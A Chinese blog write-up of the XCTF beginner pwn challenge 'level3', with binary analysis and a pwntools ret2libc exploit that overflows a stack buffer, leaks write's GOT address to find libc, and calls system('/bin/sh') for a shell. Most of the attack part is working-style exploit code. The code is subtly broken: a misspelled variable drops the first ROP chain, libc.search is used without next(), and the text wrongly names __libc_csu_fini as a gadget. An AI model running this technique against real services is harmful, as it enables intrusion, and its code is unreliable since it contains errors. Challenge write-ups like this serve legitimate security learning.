XCTF-简单题-pwn-009-level3 writeup

原创

Morphy_Amo 于 2021-12-10 16:58:51 发布 271 收藏

分类专栏： pwn题 文章标签： 安全 web安全 pwn

本文链接：https://blog.csdn.net/Morphy_Amo/article/details/121860347

XCTF-新手区-pwn-009-level3

查看安全策略， 只开启了NX保护

```
root@kali:~/ctf/xctf/pwn/easy/easy_009# checksec level3
[*] '/root/ctf/xctf/pwn/easy/easy_009/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

分析字符串和函数

```
[0x08048350]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x00000540 0x08048540   7   8 (.rodata) ascii Input:\n
001 0x00000548 0x08048548  14  15 (.rodata) ascii Hello, World!\n

[0x08048350]> afl
0x08048350    1 34           entry0
0x08048330    1 6            sym.imp.__libc_start_main
0x08048390    4 43           sym.deregister_tm_clones
0x080483c0    4 53           sym.register_tm_clones
0x08048400    3 30           entry.fini0
0x08048420    4 43   -> 40   entry.init0
0x08048520    1 2            sym.__libc_csu_fini
0x08048380    1 4            sym.__x86.get_pc_thunk.bx
0x08048524    1 20           sym._fini
0x0804844b    1 57           sym.vulnerable_function
0x08048340    1 6            sym.imp.write
0x08048310    1 6            sym.imp.read
0x080484c0    4 93           sym.__libc_csu_init
0x08048484    1 55           main
0x080482d0    3 35           sym._init
0x08048320    1 6            loc.imp.__gmon_start
```

1. 没有能利用的system函数和binsh。
2. 存在 `sym.__libc_csu_fini` 万能gadget

2. 存在`sym.__libc_csu_fini`功能gadget

找溢出点

```
/ (fcn) sym.vulnerable_function 57
|   sym.vulnerable_function ();
|           ; var int32_t var_88h @ ebp-0x88
|           ; CALL XREF from main @ 0x8048495
|           0x0804844b      55              push ebp
|           0x0804844c      89e5            mov ebp, esp
|           0x0804844e      81ec88000000    sub esp, 0x88
|           0x08048454      83ec04          sub esp, 4
|           0x08048457      6a07            push 7                      ; 7
|           0x08048459      6840850408      push str.Input:             ; 0x8048540 ; "Input:\n"

|           0x0804845e      6a01            push 1                      ; 1
|           0x08048460      e8dbfeffff      call sym.imp.write
|           0x08048465      83c410          add esp, 0x10
|           0x08048468      83ec04          sub esp, 4
|           0x0804846b      6800010000      push 0x100                  ; 256
|           0x08048470      8d8578ffffff    lea eax, dword [var_88h]
|           0x08048476      50              push eax
|           0x08048477      6a00            push 0
|           0x08048479      e892feffff      call sym.imp.read
|           0x0804847e      83c410          add esp, 0x10
|           0x08048481      90              nop
|           0x08048482      c9              leave
\           0x08048483      c3              ret
```

`0x08048479`处调用read函数时，分配的栈空间0x88小于上限0x100，存在栈溢出。

构造payload。

这题没有给system和binsh，但是**给了libc文件**。因此解题思路就是先利用`write`函数泄露`wirte`的实际地址(即GOT表中的地址)，然后根据这个地址和`write`在libc中的偏移地址计算出libc基址，从libc中获取system和binsh的地址，最终获取shell。

> 关于libc基址的泄露，请参考【PWN学习】如何获取libc基址

综上，我们需要构造两个payload，第一个payload用来获取libc基址，第二个用来获取shell

```
payload_1 = b'a' * (0x88 + 0x4)
paylaod_1 += p32(write_plt) + p32(main) + p32(0x1) + p32(write_got) + p32(0x4)
...

libc_base = write - libc_write_offset
system = libc_base + libc_system_offset
binsh = libc_base + libc_binsh_offset

payload_2 = b'a' * (0x88 + 0x4)
payload_2 += p32(system) + p32(0) + p32(binsh)
```

exp

```
from pwn import *
context.log_level = 'debug'

conn = remote('xxxx',xxx)
```

```python
elf = ELF('./easy_009')
libc = ELF('./libc_32.so.6')

write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']

payload_1 = b'a' * (0x88 + 0x4)
paylaod_1 += p32(write_plt) + p32(main) + p32(0x1) + p32(write_got) + p32(0x4)
conn.sendlineafter('Input:\n', payload_1)

write = u32(conn.recv(numb=4))
libc_base = write - libc.sym['write']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh')

payload_2 = b'a' * (0x88 + 0x4)
payload_2 += p32(system) + p32(0) + p32(binsh)
conn.sendlineafter('Input:\n', payload_2)
conn.interactive()
```